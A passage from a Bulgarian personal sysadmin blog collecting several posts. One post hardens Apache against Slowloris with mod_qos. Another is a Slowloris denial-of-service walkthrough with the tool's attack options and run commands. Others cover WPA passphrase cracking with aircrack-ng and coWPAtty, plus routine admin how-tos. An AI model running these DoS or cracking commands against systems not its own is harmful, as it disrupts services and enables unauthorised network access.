Как да защитим Apache от счупване причинено от Slowloris

В предната публикация (Как да счупим Apache със Slowloris) обясних какво е Slowloris , за какво се ползва и  как работи т.е. как се чупи Apache с него. Както е всеизвестно най- лесно е да се счупи нещо(като се ползва готов инструмент разбира се), но също интересно е и да имаме добри превантимни мерки.

За защита на Apache от Slowloris и други подобни DoS атаки ще използваме един сравнително млад модул за Apache: qos (http://sourceforge.net/projects/mod-qos/) .

mod_qos е quality of service(QOS) модул за Apache. Той изпълнява механизми за контрол които могат да предоставят различни приоритети на различните заявки и да контролира достъпа до сървъра на базата на наличните ресурси

1. Ще инсталираме необходимите ни пакети за компилацията
apt-get install apache2-threaded-dev gcc

2. Изтегляме qos модула
cd /tmp/
wget http://freefr.dl.sourceforge.net/project/mod-qos/mod-qos/9.7/mod_qos-9.7.tar.gz

3. Ще го разархивираме и компилираме
tar zxvf mod_qos-9.7.tar.gz
cd mod_qos-9.7/apache2/
apxs2 -i -c mod_qos.c

Става ясно, че се е инсталирал във "/usr/lib/apache2/modules"

4. Сега ще направим конфигурация на модула
cd /etc/apache2/mods-available/
vim qos.load

LoadModule qos_module /usr/lib/apache2/modules/mod_qos.so

vim qos.conf

## QoS Settings
<IfModule mod_qos.c>
# handles connections from up to 100000 different IPs
QS_ClientEntries 100000
# will allow only 50 connections per IP
QS_SrvMaxConnPerIP 50
# maximum number of active TCP connections is limited to 256
MaxClients              256
# disables keep-alive when 70% of the TCP connections are occupied:
QS_SrvMaxConnClose      180
# minimum request/response speed (deny slow clients blocking the server, ie. slowloris keeping connections open without requesting anything):
QS_SrvMinDataRate       150 1200
# and limit request header and body (carefull, that limits uploads and post requests too):
# LimitRequestFields      30
# QS_LimitRequestBody     102400
</IfModule>

5. Сега зареждаме qos модула и рестартираме apache:

a2enmod qos
/etc/init.d/apache2 restart

Сега системата ни е защитена от Slowloris. За целта от предния урок може да тествате да я атакувате и ще се съгласите.

PS: Надявам се, че ще има благодарни адмнистратори които са го пропуснали в близките 6-7 месеца :(случва се на всеки затова го правя, за да се информираме взаимно)

VN:F [1.9.22_1171]
Rating: 5.0/5 (2 votes cast)
VN:F [1.9.22_1171]
Rating: 0 (from 0 votes)

Как да счупим Apache със Slowloris

За целта ще използваме httpd DoS тулка популярна от средата на 2009 година, написана от RSnake от ha.ckers или т.н. Slowloris

Как Slowloris претоварва Apache ?

Slowloris прави много конекции и ги задържа отворени като изпраща части от HTTP заявки. Slowloris продължава да изпраща хедъри на интервали за да предпази сокетите от затваряне.

Преди да счупим Apache ще изтеглим Slowloris от http://ha.ckers.org/slowloris/ или по- точно от тук:

wget http://ha.ckers.org/slowloris/slowloris.pl

След това трябва да инсталираме необходими модули за Perl:

perl -MCPAN -e 'install IO::Socket::INET'
perl -MCPAN -e 'install IO::Socket::SSL'

или по- друг метод:

apt-get install libio-all-perl libio-socket-ssl-perl

След като инсталирахме модулите за perl трябва да инсталираме и perl-doc за да можем да разгледаме help страницата на Slowloris:

apt-get install perl-doc

Сега вече можем да стартираме Slowloris:

perl slowloris.pl

Извежда ни се първоначална инфо:

Welcome to Slowloris -- the low bandwidth, yet greedy and poisonous HTTP client

Usage:

perl slowloris.pl -dns [www.example.com] -options

Type 'perldoc slowloris.pl' for help with options.

Ето я и помощната страница:

perldoc slowloris.pl

TITLE
Slowloris

VERSION
Version 0.7 Beta

DATE
06/17/2009

AUTHOR
RSnake <[email protected]> with threading from John Kinsella

ABSTRACT
Slowloris both helps identify the timeout windows of a HTTP server or Proxy server, can bypass httpready protection and ulti‐
mately performs a fairly low bandwidth denial of service.  It has the added benefit of allowing the server to come back at any
time (once the program is killed), and not spamming the logs excessively.  It also keeps the load nice and low on the target
server, so other vital processes don’t die unexpectedly, or cause alarm to anyone who is logged into the server for other rea‐
sons.

AFFECTS
Apache 1.x, Apache 2.x, dhttpd, GoAhead WebServer, others…?

NOT AFFECTED
IIS6.0, IIS7.0, lighttpd, nginx, Cherokee, Squid, others…?

DESCRIPTION
Slowloris is designed so that a single machine (probably a Linux/UNIX machine since Windows appears to limit how many sockets you
can have open at any given time) can easily tie up a typical web server or proxy server by locking up all of it’s threads as they
patiently wait for more data.  Some servers may have a smaller tolerance for timeouts than others, but Slowloris can compensate
for that by customizing the timeouts.  There is an added function to help you get started with finding the right sized timeouts
as well.

As a side note, Slowloris does not consume a lot of resources so modern operating systems don’t have a need to start shutting
down sockets when they come under attack, which actually in turn makes Slowloris better than a typical flooder in certain circum‐
stances.  Think of Slowloris as the HTTP equivalent of a SYN flood.

Testing

If the timeouts are completely unknown, Slowloris comes with a mode to help you get started in your testing:

Testing Example:

./slowloris.pl -dns www.example.com -port 80 -test

This won’t give you a perfect number, but it should give you a pretty good guess as to where to shoot for.  If you really must
know the exact number, you may want to mess with the @times array (although I wouldn’t suggest that unless you know what you’re
doing).

HTTP DoS

Once you find a timeout window, you can tune Slowloris to use certain timeout windows.  For instance, if you know that the server
has a timeout of 3000 seconds, but the the connection is fairly latent you may want to make the timeout window 2000 seconds and
increase the TCP timeout to 5 seconds.  The following example uses 500 sockets.  Most average Apache servers, for instance, tend
to fall down between 400-600 sockets with a default configuration.  Some are less than 300.  The smaller the timeout the faster
you will consume all the available resources as other sockets that are in use become available -- this would be solved by thread‐
ing, but that’s for a future revision.  The closer you can get to the exact number of sockets, the better, because that will
reduce the amount of tries (and associated bandwidth) that Slowloris will make to be successful.  Slowloris has no way to iden‐
tify if it’s successful or not though.

HTTP DoS Example:

./slowloris.pl -dns www.example.com -port 80 -timeout 2000 -num 500 -tcpto 5

HTTPReady Bypass

HTTPReady only follows certain rules so with a switch Slowloris can bypass HTTPReady by sending the attack as a POST verses a GET
or HEAD request with the -httpready switch.

HTTPReady Bypass Example

./slowloris.pl -dns www.example.com -port 80 -timeout 2000 -num 500 -tcpto 5 -httpready

Stealth Host DoS

If you know the server has multiple webservers running on it in virtual hosts, you can send the attack to a seperate virtual host
using the -shost variable.  This way the logs that are created will go to a different virtual host log file, but only if they are
kept separately.

Stealth Host DoS Example:

./slowloris.pl -dns www.example.com -port 80 -timeout 30 -num 500 -tcpto 1 -shost www.virtualhost.com

HTTPS DoS

Slowloris does support SSL/TLS on an experimental basis with the -https switch.  The usefulness of this particular option has not
been thoroughly tested, and in fact has not proved to be particularly effective in the very few tests I performed during the
early phases of development.  Your mileage may vary.

HTTPS DoS Example:

./slowloris.pl -dns www.example.com -port 443 -timeout 30 -num 500 -https

HTTP Cache

Slowloris does support cache avoidance on an experimental basis with the -cache switch.  Some caching servers may look at the
request path part of the header, but by sending different requests each time you can abuse more resources.  The usefulness of
this particular option has not been thoroughly tested.  Your mileage may vary.

HTTP Cache Example:

./slowloris.pl -dns www.example.com -port 80 -timeout 30 -num 500 -cache
Issues
Slowloris is known to not work on several servers found in the NOT AFFECTED section above and through Netscalar devices, in it’s
current incarnation.  They may be ways around this, but not in this version at this time.  Most likely most anti-DDoS and load
balancers won’t be thwarted by Slowloris, unless Slowloris is extremely distrubted, although only Netscalar has been tested.

Slowloris isn’t completely quiet either, because it can’t be.  Firstly, it does send out quite a few packets (although far far
less than a typical GET request flooder).  So it’s not invisible if the traffic to the site is typically fairly low.  On higher
traffic sites it will unlikely that it is noticed in the log files -- although you may have trouble taking down a larger site with
just one machine, depending on their architecture.

For some reason Slowloris works way better if run from a *Nix box than from Windows.  I would guess that it’s probably to do with
the fact that Windows limits the amount of open sockets you can have at once to a fairly small number.  If you find that you
can’t open any more ports than ~130 or so on any server you test -- you’re probably running into this "feature" of modern operat‐
ing systems.  Either way, this program seems to work best if run from FreeBSD.

Once you stop the DoS all the sockets will naturally close with a flurry of RST and FIN packets, at which time the web server or
proxy server will write to it’s logs with a lot of 400 (Bad Request) errors.  So while the sockets remain open, you won’t be in
the logs, but once the sockets close you’ll have quite a few entries all lined up next to one another.  You will probably be easy
to find if anyone is looking at their logs at that point -- although the DoS will be over by that point too.

What is a slow loris?
What exactly is a slow loris?  It’s an extremely cute but endangered mammal that happens to also be poisonous.  Check this out:

http://www.youtube.com/watch?v=rLdQ3UhLoD4

След като сме запознати с помощната страница ще направим един прост пример за чупене на Apache със Slowloris:

perl slowloris.pl -dns example.com -port 80 -timeout 1 -num 200 -cache

След известно време забелязваме, че Apache не отговаря- Той е счупен :)

Жертвата не вижда превишаване на ползваемостта на CPU от apache, не вижда и нищо в access лога, но ако пусне един tcpdump ще разбере за какво иде реч(tcpdump -i eth0 -vvvn dst port 80)

В следващата публикация  ще обясня как да се защитим от Slowloris- Как да защитим Apache от счупване причинено от Slowloris

VN:F [1.9.22_1171]
Rating: 5.0/5 (1 vote cast)
VN:F [1.9.22_1171]
Rating: 0 (from 0 votes)

Инсталиране на Adobe Flash Player под Debian Lenny

На мен лично не ми допада свободния Flash player и за целта си инсталирам Adobe Flash Player (макар и не свободен). За целта добавям backports храналище и изпълнявам следните команди:

echo 'deb http://www.backports.org/debian lenny-backports main contrib' >> /etc/apt/sources.list
wget -O -- http://backports.org/debian/archive.key | apt-key add --
gpg --keyserver hkp://subkeys.pgp.net --recv-keys 16BA136C
gpg --export | apt-key add --
apt-get update && apt-get install flashplugin-nonfree

Сега стартираме "IceWeasel" и отваряме някои flash анимация. Виждаме, че всичко работи добре :)

echo 'deb http://www.backports.org/debian lenny-backports main contrib' >> /etc/apt/sources.listecho 'deb http://www.backports.org/debian lenny-backports main contrib' >> /etc/apt/sources.list
VN:F [1.9.22_1171]
Rating: 3.5/5 (2 votes cast)
VN:F [1.9.22_1171]
Rating: -2 (from 2 votes)

Инсталиране на Nvidia драйвери под Debian Lenny

В тази публикация мисля да опиша как се инсталират Nvidia драйверите под Debian Lenny.

1. apt-get install build-essential linux-headers-$(uname -r)
2. cd /usr/src
3. ln -s linux-headers-$(uname -r) linux
4. wget  http://us.download.nvidia.com/XFree86/Linux-x86/190.53/NVIDIA-Linux-x86-190.53-pkg1.run
5. /etc/init.d/gdm stop
6. cd /usr/src && sh NVIDIA-Linux-x86-190.53-pkg1.run

След това приеме лиценза на Nvidia и драйверите ще ви се инсталират. Сега ще стартираме нашата графична среда с nvidia драйверите: /etc/init.d/gdm start .Още в началото дори виждаме логото на Nvidia. Ако са необходими повече допълнителни настройки избираме Applications-> System Tools -> NVIDIA X Server Settings

VN:F [1.9.22_1171]
Rating: 5.0/5 (1 vote cast)
VN:F [1.9.22_1171]
Rating: 0 (from 0 votes)

Промяна на ограниченията в Windows XP и Windows server 2003

Един приятел скоро инсталирал XP на една машина и като администратор изтеглил куп неща в дял D: . След това направил потребителски имена на всички потребителите които ще ползват системата. Супер, но когато потребителя се логне в системата няма достъп до файловете в дял D:(тези които преди това моят приятел(като администратор) е добавил по- рано). За да предоставим достъп на потребителите в системата трябва да променим ограниченията на тези файлове чрез cacls:

D:\>cacls /?
Displays or modifies access control lists (ACLs) of files

CACLS filename [/T] [/E] [/C] [/G user:perm] [/R user […]]
[/P user:perm […]] [/D user […]]
filename      Displays ACLs.
/T            Changes ACLs of specified files in
the current directory and all subdirectories.
/E            Edit ACL instead of replacing it.
/C            Continue on access denied errors.
/G user:perm  Grant specified user access rights.
Perm can be: R  Read
W  Write
C  Change (write)
F  Full control
/R user       Revoke specified user's access rights (only valid with /E).
/P user:perm  Replace specified user's access rights.
Perm can be: N  None
R  Read
W  Write
C  Change (write)
F  Full control
/D user       Deny specified user access.
Wildcards can be used to specify more that one file in a command.
You can specify more than one user in a command.

Abbreviations:
CI -- Container Inherit.
The ACE will be inherited by directories.
OI -- Object Inherit.
The ACE will be inherited by files.
IO -- Inherit Only.
The ACE does not apply to the current file/directory.

В този пример ще дадем пълни права на потребител "dr_nikolov":

cacls d:/*.* /T /E /P dr_nikolov:f

Сега ще "разтълкувам" предната команда:

1. calcs --  Името на приложението което използваме за промяна на ограниченята
2. "d:/*.*" -- Това са всички директории и файлове които се намират във дял D:
3. /T -- Рекурсивно променя ограниченията на всички файлове и директории, вкл. и техните под директории
4. /E -- Редактиране на ограниченията
5. /P dr_nikolov:f -- Тук даваме "Full Control" или пълен достъп до файловете на потребител "dr_nikolov"

Това е всичко :)

VN:F [1.9.22_1171]
Rating: 5.0/5 (1 vote cast)
VN:F [1.9.22_1171]
Rating: 0 (from 0 votes)

Позволяне на dns заявки от конкретна мрежа

Идеята е когато пуснете bind да не позволявате на всеки да го ползва като dns. За целта във "named.conf.options" се добавя:

acl "allow_networks" { 172.16.0.0/16;11.81.22.0/24; };
options {
allow-query { "allow_networks"; };

};

В тези редове става ясно, че дефинираме access list в коята включваме мрежите 172.16.0.0/255.255.0.0(/16) и 11.81.22.0/255.255.255.0(/24)
и по- долу позволяваме тази access листа.

Когато рестартирате bind този които не е оторизиран да ползва dns-a няма да резолва нищо и лога му ще се пълни със следното:

Jan 29 13:31:58 ns1 named[2182]: client 172.11.XX.70#58072: query (cache) 'borhanoudz.no-ip.biz/A/IN' denied
Jan 29 13:31:58 ns1 named[2182]: client 172.11.XX.242#1043: query (cache) 'www.kevche.com/A/IN' denied
Jan 29 13:31:58 ns1 named[2182]: client 172.11.XX.70#51444: query (cache) 'borhanoudz.no-ip.biz/A/IN' denied
Jan 29 13:31:58 ns1 named[2182]: client 172.11.XX.182#57970: query (cache) 'urs.microsoft.com/A/IN' denied
Jan 29 13:31:58 ns1 named[2182]: client 172.11.XX.70#60347: query (cache) 'borhanoudz.no-ip.biz/A/IN' denied
Jan 29 13:31:58 ns1 named[2182]: client 172.11.XX.134#1139: query (cache) 'www.mywebsearch.com/A/IN' denied
Jan 29 13:31:58 ns1 named[2182]: client 172.11.XX.188#60128: query (cache) 'www.mywebsearch.com/A/IN' denied
Jan 29 13:31:58 ns1 named[2182]: client 172.11.XX.70#61412: query (cache) 'borhanoudz.no-ip.biz/A/IN' denied
Jan 29 13:31:58 ns1 named[2182]: client 172.11.XX.70#53057: query (cache) 'borhanoudz.no-ip.biz/A/IN' denied
Jan 29 13:31:58 ns1 named[2182]: client 172.11.XX.134#1139: query (cache) 'www.mywebsearch.com/A/IN' denied
Jan 29 13:31:58 ns1 named[2182]: client 172.11.XX.70#54304: query (cache) 'borhanoudz.no-ip.biz/A/IN' denied
Jan 29 13:31:58 ns1 named[2182]: client 172.11.XX.188#49513: query (cache) 'www.mywebsearch.com/A/IN' denied

VN:F [1.9.22_1171]
Rating: 5.0/5 (1 vote cast)
VN:F [1.9.22_1171]
Rating: 0 (from 0 votes)

Аудит на wpa парола, чрез aircrack и sqlite(80 000 пъти по- бързо)

Понеже доста съм писал по- долу ще обясня с едно изречение каква е идеята. Ако се ползва aircrack за нормален аудит (в моята машина дву процесорна на 2x3Ghz) ще тества по 500 ключа в секунда, а по- този метод по- долу aircrack + sqlite ще тества по 40 000 ключа в секунда.

Преди да компилираме aircrack с поддържка на sqlite трябва да го инсталираме както и неговия  development пакет:

apt-get install libsqlite3-dev sqlite3

Сега ще изтеглим aircrack и ще го компилираме със sqlite3 поддръжка:

cd /root/
mkdir testing;
cd testing;
mkdir aircrack_compile
cd aircrack_compile;

wget http://download.aircrack-ng.org/aircrack-ng-1.0.tar.gz
tar zxvf aircrack-ng-1.0.tar.gz
cd aircrack-ng-1.0

make sqlite=true unstable=true
make sqlite=true unstable=true install

Необходимо е да изпълним следната команда за да се изтегли OUI файла:

airodump-ng-oui-update

Излиза следното съобщение:

[*] Downloading IEEE OUI file…
[*] Parsing OUI file…
[*] Airodump-ng OUI file successfully updated

Сега ще тестваме компилираният от нас aircrack като използваме wordlist без Sqlite:

Преди това може да видим каква е машината и забелязваме, че е двупроцесорна като всеки процесор е 3Ghz със 2 GB памет.

Сега ще тестваме с wordlist от 75000 ключа:

aircrack-ng -w /root/testing/wordlist.txt /root/testing/wireless_packets/wpa-01.cap


Забелязваме, че средно тества между 500-600 ключа за секунда

Което означава, че за да се тестват всичките ключове ще са необходими 75000/500=150 секунди=2.5 мин.

След като имам готов wordlist трябва да направя и ssidlist.txt където да опиша ssid-а на които ще правим аудит:

vim ssidlist.txt

Сега ще подготвим нашата sqlite база за да тестваме aircrack със sqlite поддръжка.

След като вече компилирахме aircrack е необходимо да импортнем ssid-овете и списъка с пароли които ще тестваме в sqlite базата mpetrov:

airolib-ng mpetrov1 --import essid /root/testing/ssidlist.txt
airolib-ng mpetrov1 --import passwd /root/testing/wordlist.txt
airolib-ng mpetrov1 --stats
airolib-ng mpetrov1 --clean all
airolib-ng mpetrov1 --batch (Бъдете търпеливи :) )
airolib-ng mpetrov1 --verify all

След като подготвихме базата ще направим тест на aircrack със sqlite

aircrack-ng –r mpetrov1 /root/testing/wireless_packets/wpa-01.cap

Опа. Забелязваме, че aircrack в комбинация със sqlite тества по 40 000 ключа за секунда или времето което е необходимо за превъртането на този wordlist е по- малко от 2 секунди.

Разликата между нормален aircrack (2.5 мин.) и aircrack със sqlite поддържка (< 2 сек.) е повече от ясна :)

Идеята на тази публикация е да направите аудит НА СОБСТВЕНАТА СИ WIRELESS МРЕЖА, А НЕ ДА ЗЛОУПОТРЕБЯВАТЕ!

VN:F [1.9.22_1171]
Rating: 5.0/5 (1 vote cast)
VN:F [1.9.22_1171]
Rating: +1 (from 1 vote)

Нов проект за безплатни игри- igri7.com

Днес подновихме проекта за свободни игри -- > игри7.com . Идеята на този проект е да съберат малък брой игри, но за сметка на това стойностни. В момента сме започнали добавяне и редактиране на изпратените ни игри от приятели (Благодаря Слави и Веско). Ако някои иска да изпрати игра която му допада може да го направи и ще я качим за да бъде достъпна от всеки :). Сега ще падне голямо добавяне на игри (Отначало няма да има много игри- Все пак сега стартираме).

Скоро очаквайте- Игри7.ком

VN:F [1.9.22_1171]
Rating: 5.0/5 (1 vote cast)
VN:F [1.9.22_1171]
Rating: 0 (from 0 votes)

Компилиране на coWPAtty под Debian

coWPAtty е приложение което се използва за bruteforce на WPA PSK. Полезен е за аудит на вашата Wireless мрежа.

apt-get install && apt-get instal gcc libssl-dev libpcap-dev
wget http://wirelessdefence.org/Contents/Files/cowpatty-4.2.tgz
tar zxvf cowpatty-4.2.tgz
cd cowpatty-4.2
make

Тук го компилирах на една машинка и се сблъсках (LOL) със следните грешки като след всяка грешка е

решението .

Първа грешка:

cc -pipe -Wall -DOPENSSL  -O2 -g3 -ggdb   -c -o md5.o md5.c
md5.c:25:25: error: openssl/md5.h: мЪЛЮ РЮЙЗБ ТЮИК ХКХ ДХПЕЙРНПХЪ
md5.c: In function 'md5_mac':
md5.c:33: error: 'MD5_CTX' undeclared (first use in this function)
md5.c:33: error: (Each undeclared identifier is reported only once
md5.c:33: error: for each function it appears in.)
md5.c:33: error: expected ';' before 'context'
md5.c:34: warning: implicit declaration of function 'MD5_Init'
md5.c:34: error: 'context' undeclared (first use in this function)
md5.c:35: warning: implicit declaration of function 'MD5_Update'
md5.c:38: warning: implicit declaration of function 'MD5_Final'
md5.c: In function 'hmac_md5_vector':
md5.c:45: error: 'MD5_CTX' undeclared (first use in this function)
md5.c:45: error: expected ';' before 'context'
md5.c:53: error: 'context' undeclared (first use in this function)
make: *** [md5.o] Error 1

Решение: apt-get install libssl-dev

Втора грешка:
cc -pipe -Wall -DOPENSSL  -O2 -g3 -ggdb   -c -o sha1.o sha1.c
cc -pipe -Wall -DOPENSSL  -O2 -g3 -ggdb   -c -o utils.o utils.c
utils.c:34:18: error: pcap.h: мЪЛЮ РЮЙЗБ ТЮИК ХКХ ДХПЕЙРНПХЪ
In file included from utils.c:35:
utils.h:29: error: expected ')' before '*' token
utils.c:142: error: expected ')' before '*' token
make: *** [utils.o] Error 1

Решение: apt-get install libpcap-dev

VN:F [1.9.22_1171]
Rating: 5.0/5 (1 vote cast)
VN:F [1.9.22_1171]
Rating: 0 (from 0 votes)

Автоматично SSH логване с PuTTY

Здравейте казвам се Мартин Петров и съм създал тази демонстрация единствено и само с учебна цел.

В тази видео демонстрация ще обясня как да генерирате и използвате частните и публични двойки ключоче за да се логвате през SSH с PuTTY. PuTTY е SSH клиент които работи на Windows и Linux, но най- често е употребяван за Windows. Идеята на ключово базираните SSH логини е да не се налага да въвеждате всеки път потребителско име и парола, а автоматично да влизате в отдалечената система в която имате достъп .

Хайде да започнем демонстрацията.

1. Преди всичко трябва да имаме SSH достъп до отдалечена GNU/Linux машина в случая при нас това е машина с IP адрес 10.10.10.1, а ние имаме достъп

2. След това трябва да изтеглим необходимите приложения за Windows, които в случая съм изтеглил

2.1 PuTTY (http://the.earth.li/~sgtatham/putty/latest/x86/putty.exe)
2.2 PuTTY Gen (http://the.earth.li/~sgtatham/putty/latest/x86/puttygen.exe)
2.3 PageAgent (http://the.earth.li/~sgtatham/putty/latest/x86/pageant.exe)

След като вече ги имаме сега ще генерираме публичен и частен ключ за съответния логин в машина 10.10.10.1 като използваме приложението puttygen
Стартираме го и поглеждаме в менюто "Keys" за да сме сигурни, че са избрани SSH-2 RSA key

След това натискаме "Generate" за да  генерираме нашият ключ и въвеждаме наша парола на ключовете. За да го генерираме се изисква да местим по- бързо мишката понеже движението се използва за генерирането на ключа.

След като публичния ключ е генериран ще го копираме на отдалечената машина 10.10.10.1.
Трябва да копираме текста от секция "Public key for pasting into OpenSSH authorized_keys file:" и да се логнем в машината. Сега трябва да създадем директория(ако не съществува) .ssh и да поставим предварително копирания текст във файл authorized_keys

След това генерираме личен ключ от PuTTY Key Generator като натиснем бутона "Save Private key" и за тваряме приложението.

Сега отваряме приложението pageant (Search PuTTY SSH authentication Agent) и зареждаме нашият личен ключ като идеята на това приложение е да не се налага запомнянето на ключовите фрази.

След като подготвихме всичко това сега остава да си направим един PuTTY профил.
В Host Name (or IP Address) въвеждеме адреса на машината в която имаме достъп 10.10.10.1, а на порт оставяме подразбиращият се 22. Избираме си и име на сесията или профила "Saved Sessions" autop

В секция "Connection" -> "Data", поле "Auto-login username" трябва да въведем нашето потребителско име, което  в случае е: autop .
Сега трябва да заредим нашият личен ключ в секция "SSH"->"Auth" в "Private key file for authentication"

След всичко това остава да запазим настройките на своя профил като натискаме бутона "Save"

Тук виждаме, че можем да се логваме в машината 10.10.10.1 без да се изисква въвеждането на потребителско име и парола.

Може да гледате видео демонстрацията от Youtube: Автоматично SSH логване с PuTTY
Демонстрация във vbox7: Автоматично SSH логване с PuTTY

VN:F [1.9.22_1171]
Rating: 5.0/5 (1 vote cast)
VN:F [1.9.22_1171]
Rating: 0 (from 0 votes)

Личен Блог на Мартин Петров